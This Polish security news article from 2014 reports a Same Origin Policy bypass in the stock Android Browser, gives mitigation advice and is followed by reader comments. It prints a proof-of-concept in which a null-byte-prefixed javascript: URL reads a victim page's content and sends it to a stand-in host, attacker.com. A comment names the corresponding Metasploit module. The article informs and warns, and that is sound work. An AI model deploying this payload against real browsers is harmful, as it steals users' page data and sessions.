19:06
17/9/2014

Androidowa przeglądarka internetowa posiada poważną dziurę, która pozwala dowolnej stronie internetowej uruchomić złośliwy kod JavaScript w kontekście innej strony internetowej na której jesteście zalogowani. Dziura pozwala więc ominąć jedno z podstawowych zabezpieczeń w świecie webaplikacji, czyli tzw. mechanizm Same Origin Policy. Skutki tego błędu mogą być opłakane i prowadzić do kradzieży danych lub całkowitego przejęcia kont do których jesteście zalogowani w mobilnej przeglądarce. Specjaliści bezpieczeństwa nazywają ten błąd “katastrofą dla prywatności użytkowników Androida”.

Android-hacked

Na czym polega błąd?

Same Origin Policy to gwarant bezpieczeństwa w świecie webaplikacji. Mechanizm ten jest wbudowany w przeglądarkę, która czuwa nad tym, aby działanie skryptów było ograniczone do modyfikacji (czytania/zapisywania) tylko tych elementów które są związane z domeną, z której skrypt został załadowany. Dzięki SOP, nawet gdybyśmy umieścili w kodzie Niebezpiecznika złośliwy skrypt, to nie byłby on w stanie podmienić Wam zawartości innych otwartych przez Was stron (np. bankowej). SOP zablokowałby próby odczytania wprowadzanego na stronie banku hasła i uniemożliwiłby wykradzenie ciasteczka sesyjnego banku (czyli przejęcie konta).

Android Browser jednak w pewnych przypadkach do Same Origin Policy się nie stosuje. Odpowiednio skonstruowany JavaScript może “oszukać” przeglądarkowy mechanizm SOP i uzyskać nieuprawniony dostęp do modyfikowania treści w kontekście innych otwartych w przeglądarce serwisów internetowych.

To oznacza, że jeśli wejdziecie na złośliwą stronę, to jej autor może

  • odczytać wasze e-maile (o ile jesteście też zalogowani do swojej poczty przez WWW)
  • wykonywać inne (dowolne) akcje w kontekście innych serwisów, do których jesteście zalogowani
  • a w pewnych przypadkach (tj. gdy serwis nie chroni ciasteczka sesyjnego przez flagę HttpOnly) możliwe jest też całkowite przejęcie konta — atakujący wykradnie ciastko i po prostu “zaloguje się” na wasze konto we własnej przeglądarce.
Aby oszukać SOP w Android Browser wystarczy złośliwy kod wywołać przez javascript: i umieścić na jego początku null byte.


<iframe name="test" src="http://www.victim.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Więcej o samym Same Origin Policy (które każdy programista webaplikacji powinien znać na wylot) możecie poczytać w świetnej książce Michała Zalewskiego pt. Splątana Sieć.

Google zignorowało (?) ten błąd

Problem odkrył Rafay Baloch… ale Google odpisało mu, że nie jest w stanie odtworzyć opisanego przez Rafay’a błędu i zamknęło jego zgłoszenie. To skłoniło Rafay’a do publicznego opisania podatności, dzięki czemu szybko powstał moduł do metasploita wykorzystujący tę podatność do złośliwych działań. Dzięki niemu każdy może przeprowadzić atak na użytkowników korzystających z Android browsera. A tych jest całkiem sporo…

Problem może dotyczyć aż 75% użytkowników Androida

Andorid Browser to przeglądarka, która jest częścią Android Open Source Platform (AOSP). Do Androida 4.2 była domyślną przeglądarką (teraz jest nią Google Chrome). Do wersji 4.4, Android Browser jest dalej obecny — aplikacje wywołują jego kontrolki nie wprost podczas wyświetlania treści ze stron WWW (tzw. Web View). Dopiero od wersji 4.4 Google przepisało kontrolki na chromowe. Czy to oznacza, że problem już nikogo nie dotyczy? Wręcz przeciwnie…

Dashboards___Android_Developers

Z wersji poniżej 4.4 Androida korzysta aż 75% wszystkich posiadaczy urządzeń z tym systemem operacyjnym

Jak pokazują statystyki, podatna na atak Android Browser jest wciąż używana przez ok. 50% posiadaczy urządzeń pracujących pod kontrolą systemu Android. Zapewne wynika to z braku regularnej aktualizacji firmware’u na smartphonach i tabletach — bo nie jest to trywialna sprawa.

Mam Andorida – co robić, jak żyć?

Jeśli masz starszą wersję Androida niż 4.4 — natychmiast zaktualizuj go do najnowszej wersji (o ile możesz — nie wszyscy producenci telefonów wypuszczają aktualizacje, ale na szczęście są Custom ROM-y). Doraźnie możesz też korzystać z innych niż Android Browser przeglądarek internetowych, ale miej świadomość, że dziurawy Android Browser może tak czy inaczej być wykorzystywany przez pewne składki systemowe i aplikacje firm trzecich.

Jeśli masz wersję Androida wyższą niż 4.4, to sam system nie korzysta już z podatnej na atak przeglądarki, ale niestety wciąż może ona być wbudowana w aplikacje firm trzecich (na razie jednak nikt nie sporządził jeszcze publicznej listy tych aplikacji, które korzystają z Android Browser do wyświetlania treści WWW, a zatem są podatne na atak).

PS. Jeśli jesteś zainteresowany atakami na webaplikacje i tym jak oszukiwać mechanizmy bezpieczeństwa przeglądarek, to zapraszamy na nasze bestsellerowe szkolenie poświęcone bezpieczeństwu webaplikacji. Najbliższy termin to 16-17 października w Warszawie (zostało jeszcze 8 wolnych miejsc i tylko przez najbliższe 2 tygodnie obowiązuje niższa cena).


Przeczytaj także:



62 komentarzy

Dodaj komentarz
  1. nigdy nie uzywalem defaultowego browsera, teraz mam 4.4.4, uzywam CM Browser (polecam), ze smarka nie loguje się do banku, gmaila, etc.. chyba moge odetchnac z ulga ;D

    • No to gratuluję! Dzięki temu sprytnemu zabiegowi zamiast alef-zero czekających na Ciebie zagrożeń, masz już tylko alef-zero minus jeden! No i jeszcze zgubną pewność siebie :P

  2. I pewnie (optymistycznie) ponad 70% nie ma szans na aktualizację. M. in. przez to porzuciłem androida na rzecz wp.

    • Dokładnie!
      Wordpress górą!

    • Od czego są custom ROMy? :)

    • No to poczekaj do wydania Windows Phone 9 jak się M$ wypnie na ciebie jak to zrobił z użytkownikami WP7.8 ;)

    • Od brickowania telelfonu, drogi Michale. Sam rozważałem zrootowanie fona, z powodów niezwiązanych z bezpieczeństwem, no ale jak mam sobie zepsuć telefon, to jednak wolę nie.

    • Polecam zapoznać się ze szczegółami tej sprawy. Poza tym mimo wp 7.8 aktualizacje były wydawane przez ponad 2 lata. Nie było “tylko” aktualizacji do wp8. Ale ja wierzę, że taki telefon jak Lumia 930 będzie wspierana i będę miał spokój.

    • @SuperTux, to zleć wgranie customa serwisowi. Żeby bricknąć telefon trzeba mieć wyjątkowego pecha i nie umieć czytać tutoriali.

    • Jakie aktualizacje? Od czasu wydania WP7.8 żaden telefon nie dostał jakiejkolwiek aktualizacji, ani łatek bezpieczeństwa, ani poprawy błędów ani nic mimo że są rzeczy do poprawienia.

      Zresztą w tym momencie też nie wszystkie telefony są zaaktualizowane z WP 8.0 do 8.1, HTC odmówiło aktualizacji, zrobili Developer Preview które nie nadaje się do użytku na co dzień z powodu bugów i oświadczyli że nie wydadzą aktualizacji do 8.1…

    • nemo o ile wiem Micrososft chce ogarnąć jakąś aktualizację do HTC.

    • A to nie łatwiej było zainstalować sobie Firefoksa, Operę, czy dowolną inną przeglądarkę dostępną za darmo na każdego Androida? :-)

    • @Nux: a ty czytałeś dalej poza wstępem? ;)

    • @SuperTux: Jak chcesz zbrickować telefon poprzez wgranie roota? Pierwsze o tym słyszę. Naprawdę trzeba posiadać nadzwyczajne umiejętności, żeby uceglić telefon rootem. Z Custom ROMem jest już łatwiej o cegłę, ale wystarczy zrobić backup stockowego romu, do recovery zawsze jakoś się wejdzie a stamtąd o przywrócenie backupu już nie trudno. ;)

  3. Dawać mi teraz nagoe fotki tych aktorek które mają androida! Emma Watson strzeż się!

    • Ahh Emma <3 <3…

  4. A jeśli wyłączę domyślną przeglądarkę (mam taką opcję przy niektórych aplikacjach wgranych na telefon, których nie mogę odinstalować) to czy to coś pomoże? Poza tym łatwo powiedzieć “zaktualizujcie”, skoro na mój złom nie ma aktualizacji do nowszej wersji. A ponoć nie można sobie rootować, bo straszą, że stracę gwarancję.

    • Wydaje mi się że to nie będzie takie proste. Poza Browser.apk jest też HTMLViewer.apk który służy chyba głownie do wyświetlania dokumentów HTML z karty pamięci jak i coś we frameworku bo mimo usunięcia przeglądarki internetowej i przeglądarki HTML system dalej potrafi wyświetlać takie dokumenty i strony (reklamy w niektórych aplikacjach albo licencja androida w ustawieniach)

    • Nie stracisz gwarancji :) To tak samo jak z komputerem, gwarancja dotyczy SPRZĘTU, a nie systemu operacyjnego

    • jak minie gwarancja zrób root ;) tak straszą i to jest prawda ale jest kilka aplikacji które jednym kliknięciem zakłada roota i drugim zdejmuje :)

    • Pomyślę nad tym rootem, poczytam dokładniej z czym to się je. Odkąd zaczęłam czytać niebezpiecznika przestałam się czuć bezpiecznie. Komputerowo i mobilnie.

    • Żeby odmówić naprawy gwarancyjnej, sprzedawca musiałby udowodnić że usterka została spowodowana przez Twoje działanie:
      http://fsfe.org/freesoftware/legal/flashingdevices.en.html

    • Poprawka:
      (przeczytaj ten artykuł)
      Taki obowiązek jest tylko przez pierwsze 2 lata trwania gwarancji. Później obowiązują warunki producenta.
      Jednak w postanowieniach gwarancji możesz mieć podobny zapis (ja tak mam w wypadku swojego telefonu).

  5. Chwilka, jak mam zaktualizować Androida na SGS2? :)

    • To proste! Zaktualizuj SGS2 do SGS5 ;)

    • 1. Kingo Android APP
      2. Backup EFS przez kTool
      3. CM installer

    • Akurat SGS2 jest telefonem b.dobrze wspieranym przez społeczność – tona ROMów (w tym z najnowszym KitKatem), do wyboru, do koloru. Poczytaj i do dzieła. Powodzenia! :)

    • akurat Kingo jest chinskim shitem ktory oprocz zakladania roota doinstalowuje ci jeszcze “cos od siebie” potwierdzone przez psolecznosc XDA

    • Polecam romy od omegi. Samsungi wspierają zacnie.

  6. Wystarczy pomyśleć i wgrać custom roma, które teraz nawet telefony z Chin mają.

    • Juz widze te miliony userow Androida jak biegna na XDA w poszukiwaniu ROMa i instrukcji jak zrootowac swoj telefon.

    • Taa… Z wymuszonym rebootem co 10 minut i beznadziejną optymalizacją…
      Może tylko kilka modeli z Androidem na krzyż posiada w miarę ogarniętych deweloperów, którzy coś tam potrafią i ich pracom można ufać.

    • A dlaczego powiniem ufać takim romom z nieznanych źródeł? Skąd mam pewność, że nie ma na nich jakiegoś niechcianego kodu?

    • Weź pod uwagę, że niektóre, nawet stosunkowo nowe urządzenia (zwłaszcza te [naj]tańsze) zostały olane zarówno przez producentów, jak i ‘dłubaczy’, więc lipa.

  7. Stockowy browser jest _najlepszą_ dotychczas znaną mi przeglądarką internetową, nie jest dobry, żadna przeglądarka androidowa nie jest dobra, ale jest najlepszy z wszystkich możliwych. Chroma nie użyje bo mam do niego ogromną zrazę, a żadna inna przeglądarka nie ma takich funkcji jak customowa, a jeśli je ma to ma dodatkowo pierdyliard innych funkcji które mi po prostu przeszkadzają… Wymagam od przeglądarki paska z kartami zbliżonego do standardowego komputerowego, jaki ma na przykład FF, oraz braku innych funkcjonalności które byłyby widoczne bezpośrednio z przeglądarki, jak to ma na przykład dolphin, oczywiście historia i inne takie są gównie ważne ale powinny być do wywołania w podobny sposób jak w customowej przeglądarce. Do tego przeglądarka musi obsługiwać HTML5 i Flasha oraz miłoby było jakby _nie_ chował się pasek z kartami i adresem a zostawał ciągle na wierzchu (jak ja nienawidzę pełnoekranowego trybu ;-; ). Do pewnego momentu Firefox był najlepszy ze względu na to iż (spieprzony ale jednak) pasek z kartami mógł być otwarty podczas oglądania stron, teraz byle ruch go chowa co mi się nie tylko nie podoba ale mnie wkurwia do granic wytrzymałości.

    Niestety, wyżej wymieniony ficzer powoduje że przeglądarka jakiej używałem długi czas dla mnie stała się kompletnie zgubiona… Zna ktoś równie dobrą i szybką?

    • @loliq: mozesz ustawic zeby pasek byl zawsze widoczny. Wpisz w pasek adresu about:config znajdz wpis browser.chrome.dynamictoolbar i ustaw na false

    • Akurat jeśli chodzi o chowający się pasek kart, dla Firefoxa jest dostępny specjalny dodatek który wyłącza ten uprzykrzacz.

  8. A tam. Wystarczy wyłączyć obsługę javascript w przeglądarce.

  9. Ta sytuacja, jak i wcześniejszy heartbleed upewnił mnie tylko , że Android to system dla dzieciaków w krótkich spodenkach. Brak centrum automatycznych aktualizacji ma tylko system NIEDOROBIONY, przeznaczony dla zabawek. Człowiek poważny nie zafunduje sobie urządzenia, którego nie da rady zaktualizować. ROMy nie są i nie będą aktualizowane przez większość producentów urządzeń, bo nie jest im to na rękę. Oni tylko myślą jak wypuścić daną serię i szybko ją opchnąć, a później zajmują się nowym projektem. Jeżeli już negatywny PR w sieci zmusi dany koncern do wypuszczenia takowych ROM’ów to oddelegują do tego największą fajtłapę i to tylko po wielkiej aferze, dla nielicznych urządzeń z portfolio. Na aktualizację ponad rocznego tabletu możesz nie liczyć.

    • wyczuwam tutaj iphonowy ból tylnej części ciała – a i tak wole dziurawy sprzęt z androidem z którym mogę zrobić co zechcę, niż hermatycznego iphona gdzie, gdyby mogli, to by wprowadzili opłatę za macanie przycisku “home”.

    • Oświeć mnie proszę co “heartbleed” ma z Androidem wspólnego???

    • O ile się orientuję, konkurencja androida też nie wspiera wszystkich urządzeń pod kątem aktualizacji do najnowszej wersji systmemu… Najnowszy iOS nie ruszy na najstarszym iPhone – a powinien, w końcu tym urządzeniem oraz systemem od początku do końca zajmuje się jedna firma. Pojawia się zatem również trend “sorry, taki mamy klimat, kup nowy sprzęt”. WP też boyka się z tym samym problemem.
      A nawiązując do pejoratywnej części wypowiedzi – jak na razie z moich obserwacji wynika, że więcej “dzieciaków w krótkich spodenkach” wybiera iPhone, bo jest “większy lans”. Wśród poważniejszych osób raczej nie widzę boomu na produkty Apple’a.

    • Na 99% sam jest “dzieciakiem w krótkich spodenkach”, który dostał iPhona pod choinkę od rodziców. A przynajmniej mentalnie.

  10. https://niebezpiecznik.pl/post/powazny-blad-w-androidzie-dotyczacy-50-jego-uzytkownikow/#comment-395756

    Nemo.. Od GDR1 nie ma już takich bugów.. da się korzystać nie przesadzaj, a jeszcze przecież GDR2 i GDR3.. Po to powstało developer preview aby właśnie każdy bez wyjątku miał aktualizacje.

  11. Akurat wyszła oficjalna aktualizacja Androida do LG E975 (Play), a jeszcze kilka dni temu nie było nic nowszego niż 4.1.2. Git :)

    • A do e430 ni ma :(

  12. Od kiedy mam telefon z androidem używam tylko custrom romów bo z orginalnych nie dało się kożystać a jak ktoś umie czytać po angielsku to niech stosuje się do instrukcji na xda i nie będzie bricka, rotowałem już z 30 telefonów kolegom i kilka swoich i nigdy bricka nie miałem jak było coś nie tak to nie wpadałem w paranoję tylko szukałem rozwiązania i zawsze wyszłem cało więc nie pisać że ktoś miał bricka. Bo nie wyrabiam już z was.

    • Ale wiesz, ze zdecydowana wiekszosc uzytkownikow po prostu kupuje telefon bo chce go uzywac, a jedyne, co w nim czasem zmienia to tapeta i dzwonek?

    • A wiesz, że bank dobrze wie, z jakiej przeglądarki i z jakiego OS logujesz się do konta, więc jeśli kiedykolwiek zgłosisz reklamację, że wyparowały Ci pieniądze z konta, to się mnie dziw, jeśli w odpowiedzi z banku będziesz miał wskazaną datę i godzinę i nazwę custom romu, przez który te pieniądze mogły wyparować. Rootowany lub customowy rom dyskwalifikuje smartfona z poważnych zastosowań. Howgh!

    • @Piotr: damn, to wsrod linuksow moge logowac sie tylko z RHEL i SLED?

  13. http://arstechnica.com/security/2014/09/android-browser-flaw-a-privacy-disaster-for-half-of-android-users/
    Na tym portalu podaja ze google wzielo sie za załatanie dziury. Szkoda że dopiero po fakcie.

  14. Przed przejściem na nowszego Andka pows3muje mnie flash player. Kto wie czy można jakoś odpalić tę wtyczkę na nowszych wersjach niż 4.1.2?

    • oficjalnie sie nie da przy probie instalacji otrzymasz info ze wtyczka nie pasuje do twojego andka.. ale sa przegladarki z wbudowana obsługaflasha np: FlashFox

    • Dzięki 100krotne jaśnie-oświecony Sakeju !

  15. ja wgrałem sobie chroma na andrioda i nie używam defauldowej przeglądarki i jestem spokojny!

  16. Robie serwis i chce, zeby uzytkownik mial mozliwosc zapisania NA SWOIM KOMPUTERZE hasla do rozszyfrowania danych, ktore przechowuje w bazie danych na moim serwerze. W jaki sposob przechowywac to haslo? W cookie lipa, bo haslo bedzie przesylane za kazdym razem na serwer, localStorage z kolei nie jest odporne na XSS, bo tak jak w przypadku tutaj opisanym, z poziomu JS odczytuje klucze wpisow w LS i wyswietlam co chce.

    • Może po prostu wyświetl je i niech sobie do notatnika czy gdzieś skopiuje?

  17. Hej, czy stockowa przeglądarka HTC sense to 100%android browser? Pytam, bo korzysta się z niej zupełnie inaczej niż że stockowych przeglądarek w innych smartfonach…

  18. Nie wierzę, że jak ktoś korzysta z Androida to nie jest zalogowany do innych usług i nie korzysta z banku! Wiadomo, tak by było najbezpieczniej ale kto się nie pokusi mając wszystko w kieszeni?

    • Ja. Na fonie się loguję tylko do durnot typu fora, dA, itd. Żadnych eboków czy banku. Od dawna wiedziałem że mogą być takie hece i nawet mamę przestrzegłem jak dostała smyrofona na urodziny.

      To po prostu zdrowy rozsądek – nie loguj się do banku używając młodego oprogramowania które nie zostało sprawdzone i nie jest dostępne na rynku co najmniej od 20 lat.

      No i nie zapominajmy, że Webkit bazuje na okropnie napisanym KHTML (Konqueror z KDE 3.5), które pod względem bezpieczeństwa dorównywał IE.

      Jasne, Google sporo naprawiło w tym czymś, ale co jakiś czas takie “kwiotki” wychodzą, BTW. sprawdziłem exploita w Konquerorze i tam też działa. Czyli bug z czasów KHTML.

  19. Ponoć: “this module is available in all versions of Metasploit.”

    ale …

    msfupdate = No updates available

    A -> auxiliary/gather/android_stock_browser_uxss
    Też ni ma :(

    WTF?!?!

  20. Solved, problem z repo.

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: